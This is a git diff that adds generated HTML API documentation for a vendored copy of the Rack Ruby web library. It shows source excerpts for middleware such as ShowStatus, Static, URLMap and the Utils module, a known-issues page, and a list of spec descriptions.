+41:           frame.function = $4
+42: 
+43:           begin
+44:             lineno = frame.lineno-1
+45:             lines = ::File.readlines(frame.filename)
+46:             frame.pre_context_lineno = [lineno-CONTEXT, 0].max
+47:             frame.pre_context = lines[frame.pre_context_lineno...lineno]
+48:             frame.context_line = lines[lineno].chomp
+49:             frame.post_context_lineno = [lineno+CONTEXT, lines.size].min
+50:             frame.post_context = lines[lineno+1..frame.post_context_lineno]
+51:           rescue
+52:           end
+53: 
+54:           frame
+55:         else
+56:           nil
+57:         end
+58:       }.compact
+59: 
+60:       env["rack.errors"].puts "#{exception.class}: #{exception.message}"
+61:       env["rack.errors"].puts exception.backtrace.map { |l| "\t" + l }
+62:       env["rack.errors"].flush
+63: 
+64:       [@template.result(binding)]
+65:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html b/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html new file mode 100644 index 00000000..c543430f --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html @@ -0,0 +1,199 @@ + + + + + + Class: Rack::ShowStatus + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::ShowStatus
In: + + lib/rack/showstatus.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::ShowStatus catches all empty responses +the app it wraps and replaces them with a site explaining the error. +

+

+Additional details can be put into rack.showstatus.detail and will +be shown as HTML. If such details exist, the error page is always rendered, +even if the reply was not empty. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/showstatus.rb, line 14
+14:     def initialize(app)
+15:       @app = app
+16:       @template = ERB.new(TEMPLATE)
+17:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/showstatus.rb, line 19
+19:     def call(env)
+20:       status, headers, body = @app.call(env)
+21:       headers = Utils::HeaderHash.new(headers)
+22:       empty = headers['Content-Length'].to_i <= 0
+23: 
+24:       # client or server error, or explicit message
+25:       if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
+26:         req = Rack::Request.new(env)
+27:         message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s
+28:         detail = env["rack.showstatus.detail"] || message
+29:         body = @template.result(binding)
+30:         size = body.respond_to?(:bytesize) ? body.bytesize : body.size
+31:         [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]]
+32:       else
+33:         [status, headers, body]
+34:       end
+35:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Static.html b/vendor/plugins/rack/doc/classes/Rack/Static.html new file mode 100644 index 00000000..70b5ea72 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Static.html @@ -0,0 +1,205 @@ + + + + + + Class: Rack::Static + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Static
In: + + lib/rack/static.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+The Rack::Static middleware intercepts requests +for static files (javascript files, images, stylesheets, etc) based on the +url prefixes passed in the options, and serves them using a Rack::File object. This allows a Rack stack to serve both static and dynamic +content. +

+

+Examples: +

+
+    use Rack::Static, :urls => ["/media"]
+    will serve all requests beginning with /media from the "media" folder
+    located in the current directory (ie media/*).
+
+    use Rack::Static, :urls => ["/css", "/images"], :root => "public"
+    will serve all requests beginning with /css or /images from the folder
+    "public" in the current directory (ie public/css/* and public/images/*)
+
+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/static.rb, line 19
+19:     def initialize(app, options={})
+20:       @app = app
+21:       @urls = options[:urls] || ["/favicon.ico"]
+22:       root = options[:root] || Dir.pwd
+23:       @file_server = Rack::File.new(root)
+24:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/static.rb, line 26
+26:     def call(env)
+27:       path = env["PATH_INFO"]
+28:       can_serve = @urls.any? { |url| path.index(url) == 0 }
+29: 
+30:       if can_serve
+31:         @file_server.call(env)
+32:       else
+33:         @app.call(env)
+34:       end
+35:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/URLMap.html b/vendor/plugins/rack/doc/classes/Rack/URLMap.html new file mode 100644 index 00000000..9e544c77 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/URLMap.html @@ -0,0 +1,214 @@ + + + + + + Class: Rack::URLMap + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::URLMap
In: + + lib/rack/urlmap.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::URLMap takes a hash mapping urls or paths +to apps, and dispatches accordingly. Support for HTTP/1.1 host names exists +if the URLs start with http:// or https://. +

+

+URLMap modifies the SCRIPT_NAME and PATH_INFO +such that the part relevant for dispatch is in the SCRIPT_NAME, and the +rest in the PATH_INFO. This should be taken care of when you need to +reconstruct the URL in order to create links. +

+

+URLMap dispatches in such a way that the longest +paths are tried first, since they are most specific. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/urlmap.rb, line 15
+15:     def initialize(map)
+16:       @mapping = map.map { |location, app|
+17:         if location =~ %r{\Ahttps?://(.*?)(/.*)}
+18:           host, location = $1, $2
+19:         else
+20:           host = nil
+21:         end
+22: 
+23:         unless location[0] == ?/
+24:           raise ArgumentError, "paths need to start with /"
+25:         end
+26:         location = location.chomp('/')
+27: 
+28:         [host, location, app]
+29:       }.sort_by { |(h, l, a)| [-l.size, h.to_s.size] }  # Longest path first
+30:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/urlmap.rb, line 32
+32:     def call(env)
+33:       path = env["PATH_INFO"].to_s.squeeze("/")
+34:       hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT')
+35:       @mapping.each { |host, location, app|
+36:         next unless (hHost == host || sName == host \
+37:           || (host.nil? && (hHost == sName || hHost == sName+':'+sPort)))
+38:         next unless location == path[0, location.size]
+39:         next unless path[location.size] == nil || path[location.size] == ?/
+40:         env["SCRIPT_NAME"] += location
+41:         env["PATH_INFO"]    = path[location.size..-1]
+42:         return app.call(env)
+43:       }
+44:       [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]]
+45:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils.html b/vendor/plugins/rack/doc/classes/Rack/Utils.html new file mode 100644 index 00000000..e0ffa200 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Utils.html @@ -0,0 +1,377 @@ + + + + + + Module: Rack::Utils + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Utils
In: + + lib/rack/utils.rb + +
+
+
+ + +
+ + + +
+ +
+

+Rack::Utils contains a grab-bag of useful methods +for writing web applications adopted from all kinds of Ruby libraries. +

+ +
+ + +
+ +
+

Methods

+ +
+ build_query   + escape   + escape_html   + parse_query   + select_best_encoding   + unescape   +
+
+ +
+ + + + +
+ +
+

Classes and Modules

+ + Module Rack::Utils::Multipart
+Class Rack::Utils::Context
+Class Rack::Utils::HeaderHash
+ +
+ +
+

Constants

+ +
+ + + + + + + + + + + + + + + +
HTTP_STATUS_CODES={ 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported'  +Every standard HTTP code mapped to the appropriate message. Stolen from +Mongrel. + +
STATUS_WITH_NO_ENTITY_BODY=Set.new((100..199).to_a << 204 << 304)  +Responses with HTTP status codes that should not have an entity body + +
+
+
+ + + + + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/utils.rb, line 54
+54:     def build_query(params)
+55:       params.map { |k, v|
+56:         if v.class == Array
+57:           build_query(v.map { |x| [k, x] })
+58:         else
+59:           escape(k) + "=" + escape(v)
+60:         end
+61:       }.join("&")
+62:     end
+
+
+
+
+ +
+ + + + +
+

+Performs URI escaping so that you can construct proper query strings +faster. Use this rather than the cgi.rb version since it‘s faster. +(Stolen from Camping). +

+

[Source]

+
+
+    # File lib/rack/utils.rb, line 12
+12:     def escape(s)
+13:       s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {
+14:         '%'+$1.unpack('H2'*$1.size).join('%').upcase
+15:       }.tr(' ', '+')
+16:     end
+
+
+
+
+ +
+ + + + +
+

+Escape ampersands, brackets and quotes to their HTML/XML entities. +

+

[Source]

+
+
+    # File lib/rack/utils.rb, line 66
+66:     def escape_html(string)
+67:       string.to_s.gsub("&", "&amp;").
+68:         gsub("<", "&lt;").
+69:         gsub(">", "&gt;").
+70:         gsub("'", "&#39;").
+71:         gsub('"', "&quot;")
+72:     end
+
+
+
+
+ +
+ + + + +
+

+Stolen from Mongrel, with some small modifications: Parses a query string +by breaking it up at the ’&’ and ’;’ +characters. You can also use this to parse cookies by changing the +characters used in the second parameter (which defaults to +’&;’). +

+

[Source]

+
+
+    # File lib/rack/utils.rb, line 33
+33:     def parse_query(qs, d = '&;')
+34:       params = {}
+35: 
+36:       (qs || '').split(/[#{d}] */n).each do |p|
+37:         k, v = unescape(p).split('=', 2)
+38: 
+39:         if cur = params[k]
+40:           if cur.class == Array
+41:             params[k] << v
+42:           else
+43:             params[k] = [cur, v]
+44:           end
+45:         else
+46:           params[k] = v
+47:         end
+48:       end
+49: 
+50:       return params
+51:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 75
+ 75:     def select_best_encoding(available_encodings, accept_encoding)
+ 76:       # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
+ 77: 
+ 78:       expanded_accept_encoding =
+ 79:         accept_encoding.map { |m, q|
+ 80:           if m == "*"
+ 81:             (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] }
+ 82:           else
+ 83:             [[m, q]]
+ 84:           end
+ 85:         }.inject([]) { |mem, list|
+ 86:           mem + list
+ 87:         }
+ 88: 
+ 89:       encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m }
+ 90: 
+ 91:       unless encoding_candidates.include?("identity")
+ 92:         encoding_candidates.push("identity")
+ 93:       end
+ 94: 
+ 95:       expanded_accept_encoding.find_all { |m, q|
+ 96:         q == 0.0
+ 97:       }.each { |m, _|
+ 98:         encoding_candidates.delete(m)
+ 99:       }
+100: 
+101:       return (encoding_candidates & available_encodings)[0]
+102:     end
+
+
+
+
+ +
+ + + + +
+

+Unescapes a URI escaped string. (Stolen from Camping). +

+

[Source]

+
+
+    # File lib/rack/utils.rb, line 20
+20:     def unescape(s)
+21:       s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){
+22:         [$1.delete('%')].pack('H*')
+23:       }
+24:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html b/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html new file mode 100644 index 00000000..8d937df4 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html @@ -0,0 +1,299 @@ + + + + + + Class: Rack::Utils::Context + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Utils::Context
In: + + lib/rack/utils.rb + +
+
Parent: + Proc +
+
+ + +
+ + + +
+ +
+

+The recommended manner in which to implement a contexting application is to +define a method context in which a new Context is +instantiated. +

+

+As a Context is a glorified block, it is highly +recommended that you define the contextual block within the +application‘s operational scope. This would typically the application +as you‘re place into Rack‘s +stack. +

+
+  class MyObject
+    ...
+    def context app
+      Rack::Utils::Context.new app do |env|
+        do_stuff
+        response = app.call(env)
+        do_more_stuff
+      end
+    end
+    ...
+  end
+
+

+mobj = MyObject.new app = mobj.context other_app Rack::Handler::Mongrel.new +app +

+ +
+ + +
+ +
+

Methods

+ +
+ context   + inspect   + new   + pretty_print   +
+
+ +
+ + + + +
+ + + +
+

External Aliases

+ +
+ + + + + + +
inspect->old_inspect
+
+
+ + +
+

Attributes

+ +
+ + + + + + + + + + + +
app [R] 
for [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 130
+130:       def initialize app_f, app_r
+131:         raise 'running context not provided' unless app_f
+132:         raise 'running context does not respond to #context' unless app_f.respond_to? :context
+133:         raise 'application context not provided' unless app_r
+134:         raise 'application context does not respond to #call' unless app_r.respond_to? :call
+135:         @for = app_f
+136:         @app = app_r
+137:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 141
+141:       def context app_r
+142:         raise 'new application context not provided' unless app_r
+143:         raise 'new application context does not respond to #call' unless app_r.respond_to? :call
+144:         @for.context app_r
+145:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 138
+138:       def inspect
+139:         "#{old_inspect} ==> #{@for.inspect} ==> #{@app.inspect}"
+140:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 146
+146:       def pretty_print pp
+147:         pp.text old_inspect
+148:         pp.nest 1 do
+149:           pp.breakable
+150:           pp.text '=for> '
+151:           pp.pp @for
+152:           pp.breakable
+153:           pp.text '=app> '
+154:           pp.pp @app
+155:         end
+156:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html b/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html new file mode 100644 index 00000000..e33e1653 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html @@ -0,0 +1,373 @@ + + + + + + Class: Rack::Utils::HeaderHash + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Utils::HeaderHash
In: + + lib/rack/utils.rb + +
+
Parent: + Hash +
+
+ + +
+ + + +
+ +
+

+A case-insensitive Hash that preserves the original case of a header when +set. +

+ +
+ + +
+ +
+

Methods

+ +
+ []   + []=   + delete   + has_key?   + include?   + key?   + member?   + merge   + merge!   + new   + to_hash   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 162
+162:       def initialize(hash={})
+163:         @names = {}
+164:         hash.each { |k, v| self[k] = v }
+165:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 171
+171:       def [](k)
+172:         super @names[k.downcase]
+173:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 175
+175:       def []=(k, v)
+176:         delete k
+177:         @names[k.downcase] = k
+178:         super k, v
+179:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 181
+181:       def delete(k)
+182:         super @names.delete(k.downcase)
+183:       end
+
+
+
+
+ +
+ + +
+ has_key?(k) +
+ +
+

+Alias for include? +

+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 185
+185:       def include?(k)
+186:         @names.has_key? k.downcase
+187:       end
+
+
+
+
+ +
+ + +
+ key?(k) +
+ +
+

+Alias for include? +

+
+
+ +
+ + +
+ member?(k) +
+ +
+

+Alias for include? +

+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 198
+198:       def merge(other)
+199:         hash = dup
+200:         hash.merge! other
+201:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 193
+193:       def merge!(other)
+194:         other.each { |k, v| self[k] = v }
+195:         self
+196:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 167
+167:       def to_hash
+168:         {}.replace(self)
+169:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html b/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html new file mode 100644 index 00000000..0a984a6f --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html @@ -0,0 +1,246 @@ + + + + + + Module: Rack::Utils::Multipart + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Utils::Multipart
In: + + lib/rack/utils.rb + +
+
+
+ + +
+ + + +
+ +
+

+A multipart form data parser, adapted from IOWA. +

+

+Usually, Rack::Request#POST takes +care of calling this. +

+ +
+ + +
+ +
+

Methods

+ +
+ parse_multipart   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
EOL="\r\n"
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/utils.rb, line 259
+259:       def self.parse_multipart(env)
+260:         unless env['CONTENT_TYPE'] =~
+261:             %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
+262:           nil
+263:         else
+264:           boundary = "--#{$1}"
+265: 
+266:           params = {}
+267:           buf = ""
+268:           content_length = env['CONTENT_LENGTH'].to_i
+269:           input = env['rack.input']
+270: 
+271:           boundary_size = boundary.size + EOL.size
+272:           bufsize = 16384
+273: 
+274:           content_length -= boundary_size
+275: 
+276:           status = input.read(boundary_size)
+277:           raise EOFError, "bad content body"  unless status == boundary + EOL
+278: 
+279:           rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/
+280: 
+281:           loop {
+282:             head = nil
+283:             body = ''
+284:             filename = content_type = name = nil
+285: 
+286:             until head && buf =~ rx
+287:               if !head && i = buf.index("\r\n\r\n")
+288:                 head = buf.slice!(0, i+2) # First \r\n
+289:                 buf.slice!(0, 2)          # Second \r\n
+290: 
+291:                 filename = head[/Content-Disposition:.* filename="?([^\";]*)"?/ni, 1]
+292:                 content_type = head[/Content-Type: (.*)\r\n/ni, 1]
+293:                 name = head[/Content-Disposition:.* name="?([^\";]*)"?/ni, 1]
+294: 
+295:                 if filename
+296:                   body = Tempfile.new("RackMultipart")
+297:                   body.binmode  if body.respond_to?(:binmode)
+298:                 end
+299: 
+300:                 next
+301:               end
+302: 
+303:               # Save the read body part.
+304:               if head && (boundary_size+4 < buf.size)
+305:                 body << buf.slice!(0, buf.size - (boundary_size+4))
+306:               end
+307: 
+308:               c = input.read(bufsize < content_length ? bufsize : content_length)
+309:               raise EOFError, "bad content body"  if c.nil? || c.empty?
+310:               buf << c
+311:               content_length -= c.size
+312:             end
+313: 
+314:             # Save the rest.
+315:             if i = buf.index(rx)
+316:               body << buf.slice!(0, i)
+317:               buf.slice!(0, boundary_size+2)
+318: 
+319:               content_length = -1  if $1 == "--"
+320:             end
+321: 
+322:             if filename
+323:               body.rewind
+324:               data = {:filename => filename, :type => content_type,
+325:                       :name => name, :tempfile => body, :head => head}
+326:             else
+327:               data = body
+328:             end
+329: 
+330:             if name
+331:               if name =~ /\[\]\z/
+332:                 params[name] ||= []
+333:                 params[name] << data
+334:               else
+335:                 params[name] = data
+336:               end
+337:             end
+338: 
+339:             break  if buf.empty? || content_length == -1
+340:           }
+341: 
+342:           params
+343:         end
+344:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/created.rid b/vendor/plugins/rack/doc/created.rid new file mode 100644 index 00000000..aeaa972c --- /dev/null +++ b/vendor/plugins/rack/doc/created.rid @@ -0,0 +1 @@ +Fri, 09 Jan 2009 17:40:34 +0100 diff --git a/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html b/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html new file mode 100644 index 00000000..8a7e63c1 --- /dev/null +++ b/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html @@ -0,0 +1,127 @@ + + + + + + File: KNOWN-ISSUES + + + + + + + + + + +
+

KNOWN-ISSUES

+ + + + + + + + + +
Path:KNOWN-ISSUES +
Last Update:Sat Mar 03 11:16:44 +0100 2007
+
+ + +
+ + + +
+ +
+

Known issues with Rack and Web servers

+
    +
  • Lighttpd sets wrong SCRIPT_NAME and PATH_INFO if you mount your FastCGI app +at "/". This can be fixed by using this middleware: + +
    +  class LighttpdScriptNameFix
    +    def initialize(app)
    +      @app = app
    +    end
    +
    +    def call(env)
    +      env["PATH_INFO"] = env["SCRIPT_NAME"].to_s + env["PATH_INFO"].to_s
    +      env["SCRIPT_NAME"] = ""
    +      @app.call(env)
    +    end
    +  end
    +
    +

    +Of course, use this only when your app runs at "/". +

    +
  • +
+ +
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/RDOX.html b/vendor/plugins/rack/doc/files/RDOX.html new file mode 100644 index 00000000..333d96fb --- /dev/null +++ b/vendor/plugins/rack/doc/files/RDOX.html @@ -0,0 +1,961 @@ + + + + + + File: RDOX + + + + + + + + + + +
+

RDOX

+ + + + + + + + + +
Path:RDOX +
Last Update:Fri Jan 09 17:40:33 +0100 2009
+
+ + +
+ + + +
+ +
+

Rack::Auth::Basic

+
    +
  • should challenge correctly when no credentials are specified + +
  • +
  • should rechallenge if incorrect credentials are specified + +
  • +
  • should return application output if correct credentials are specified + +
  • +
  • should return 400 Bad Request if different auth scheme used + +
  • +
+

Rack::Auth::Digest::MD5

+
    +
  • should challenge when no credentials are specified + +
  • +
  • should return application output if correct credentials given + +
  • +
  • should return application output if correct credentials given (hashed +passwords) + +
  • +
  • should rechallenge if incorrect username given + +
  • +
  • should rechallenge if incorrect password given + +
  • +
  • should rechallenge with stale parameter if nonce is stale + +
  • +
  • should return 400 Bad Request if incorrect qop given + +
  • +
  • should return 400 Bad Request if incorrect uri given + +
  • +
  • should return 400 Bad Request if different auth scheme used + +
  • +
+

Rack::Auth::OpenID

+
    +
  • realm uri should be absolute and have a path + +
  • +
  • uri options should be absolute + +
  • +
  • return_to should be absolute and be under the realm + +
  • +
  • extensions should be a module + +
  • +
  • extensions should have required constants defined + +
  • +
  • extensions should have Request and Response defined and inherit from +OpenID::Extension + +
  • +
  • extensions should have NS_URI defined and be a string of an absolute http +uri + +
  • +
+

Rack::Builder

+
    +
  • chains apps by default + +
  • +
  • has implicit to_app + +
  • +
  • supports blocks on use + +
  • +
  • has explicit to_app + +
  • +
  • apps are initialized once + +
  • +
+

Rack::Adapter::Camping

+
    +
  • works with GET + +
  • +
  • works with POST + +
  • +
+

Rack::Cascade

+
    +
  • should dispatch onward on 404 by default + +
  • +
  • should dispatch onward on whatever is passed + +
  • +
  • should fail if empty + +
  • +
  • should append new app + +
  • +
+

Rack::Handler::CGI

+
    +
  • startup (empty) + +
  • +
  • should respond + +
  • +
  • should be a lighttpd + +
  • +
  • should have rack headers + +
  • +
  • should have CGI headers on GET + +
  • +
  • should have CGI headers on POST + +
  • +
  • should support HTTP auth + +
  • +
  • should set status + +
  • +
  • shutdown + +
  • +
+

Rack::CommonLogger

+
    +
  • should log to rack.errors by default + +
  • +
  • should log to anything with << + +
  • +
+

Rack::ConditionalGet

+
    +
  • should set a 304 status and truncate body when If-Modified-Since hits + +
  • +
  • should set a 304 status and truncate body when If-None-Match hits + +
  • +
  • should not affect non-GET/HEAD requests + +
  • +
+

Rack::ContentLength

+
    +
  • sets Content-Length on String bodies if none is set + +
  • +
  • sets Content-Length on Array bodies if none is set + +
  • +
  • does not set Content-Length on variable length bodies + +
  • +
  • does not change Content-Length if it is already set + +
  • +
  • does not set Content-Length on 304 responses + +
  • +
  • does not set Content-Length when Transfer-Encoding is chunked + +
  • +
+

Rack::Deflater

+
    +
  • should be able to deflate bodies that respond to each + +
  • +
  • should be able to deflate String bodies + +
  • +
  • should be able to gzip bodies that respond to each + +
  • +
  • should be able to fallback to no deflation + +
  • +
  • should be able to skip when there is no response entity body + +
  • +
  • should handle the lack of an acceptable encoding + +
  • +
  • should handle gzip response with Last-Modified header + +
  • +
  • should do nothing when no-transform Cache-Control directive present + +
  • +
+

Rack::Directory

+
    +
  • serves directory indices + +
  • +
  • passes to app if file found + +
  • +
  • serves uri with URL encoded filenames + +
  • +
  • does not allow directory traversal + +
  • +
  • 404s if it can‘t find the file + +
  • +
+

Rack::Handler::FastCGI

+
    +
  • startup (empty) + +
  • +
  • should respond + +
  • +
  • should be a lighttpd + +
  • +
  • should have rack headers + +
  • +
  • should have CGI headers on GET + +
  • +
  • should have CGI headers on POST + +
  • +
  • should support HTTP auth + +
  • +
  • should set status + +
  • +
  • shutdown + +
  • +
+

Rack::File

+
    +
  • serves files + +
  • +
  • sets Last-Modified header + +
  • +
  • serves files with URL encoded filenames + +
  • +
  • does not allow directory traversal + +
  • +
  • does not allow directory traversal with encoded periods + +
  • +
  • 404s if it can‘t find the file + +
  • +
  • detects SystemCallErrors + +
  • +
+

Rack::Handler

+
    +
  • has registered default handlers + +
  • +
  • should get unregistered handler by name + +
  • +
  • should register custom handler + +
  • +
+

Rack::Head

+
    +
  • response (empty) + +
  • +
  • passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests + +
  • +
  • removes body from HEAD requests + +
  • +
+

Rack::Lint

+
    +
  • passes valid request + +
  • +
  • notices fatal errors + +
  • +
  • notices environment errors + +
  • +
  • notices input errors + +
  • +
  • notices error errors + +
  • +
  • notices status errors + +
  • +
  • notices header errors + +
  • +
  • notices content-type errors + +
  • +
  • notices content-length errors + +
  • +
  • notices body errors + +
  • +
  • notices input handling errors + +
  • +
  • notices error handling errors + +
  • +
  • notices HEAD errors + +
  • +
+

Rack::Lint::InputWrapper

+
    +
  • delegates :size to underlying IO object + +
  • +
  • delegates :rewind to underlying IO object + +
  • +
+

Rack::Lobster::LambdaLobster

+
    +
  • should be a single lambda + +
  • +
  • should look like a lobster + +
  • +
  • should be flippable + +
  • +
+

Rack::Lobster

+
    +
  • should look like a lobster + +
  • +
  • should be flippable + +
  • +
  • should provide crashing for testing purposes + +
  • +
+

Rack::MethodOverride

+
    +
  • should not affect GET requests + +
  • +
  • _method parameter should modify REQUEST_METHOD for POST requests + +
  • +
  • X-HTTP-Method-Override header should modify REQUEST_METHOD for POST +requests + +
  • +
  • should not modify REQUEST_METHOD if the method is unknown + +
  • +
  • should not modify REQUEST_METHOD when _method is nil + +
  • +
  • should store the original REQUEST_METHOD prior to overriding + +
  • +
+

Rack::MockRequest

+
    +
  • should return a MockResponse + +
  • +
  • should be able to only return the environment + +
  • +
  • should provide sensible defaults + +
  • +
  • should allow GET/POST/PUT/DELETE + +
  • +
  • should allow posting + +
  • +
  • should use all parts of an URL + +
  • +
  • should behave valid according to the Rack spec + +
  • +
+

Rack::MockResponse

+
    +
  • should provide access to the HTTP status + +
  • +
  • should provide access to the HTTP headers + +
  • +
  • should provide access to the HTTP body + +
  • +
  • should provide access to the Rack errors + +
  • +
  • should optionally make Rack errors fatal + +
  • +
+

Rack::Handler::Mongrel

+
    +
  • should respond + +
  • +
  • should be a Mongrel + +
  • +
  • should have rack headers + +
  • +
  • should have CGI headers on GET + +
  • +
  • should have CGI headers on POST + +
  • +
  • should support HTTP auth + +
  • +
  • should set status + +
  • +
  • should provide a .run + +
  • +
  • should provide a .run that maps a hash + +
  • +
  • should provide a .run that maps a urlmap + +
  • +
  • should provide a .run that maps a urlmap restricting by host + +
  • +
  • should stream each part of the response + +
  • +
+

Rack::Recursive

+
    +
  • should allow for subrequests + +
  • +
  • should raise error on requests not below the app + +
  • +
  • should support forwarding + +
  • +
+

Rack::Request

+
    +
  • wraps the rack variables + +
  • +
  • can figure out the correct host + +
  • +
  • can parse the query string + +
  • +
  • can parse POST data + +
  • +
  • can parse POST data with explicit content type + +
  • +
  • does not parse POST data when media type is not form-data + +
  • +
  • rewinds input after parsing POST data + +
  • +
  • does not rewind unwindable CGI input + +
  • +
  • can get value by key from params with #[] + +
  • +
  • can set value to key on params with #[]= + +
  • +
  • values_at answers values by keys in order given + +
  • +
  • referrer should be extracted correct + +
  • +
  • can cache, but invalidates the cache + +
  • +
  • can figure out if called via XHR + +
  • +
  • can parse cookies + +
  • +
  • parses cookies according to RFC 2109 + +
  • +
  • provides setters + +
  • +
  • provides the original env + +
  • +
  • can restore the URL + +
  • +
  • can restore the full path + +
  • +
  • can handle multiple media type parameters + +
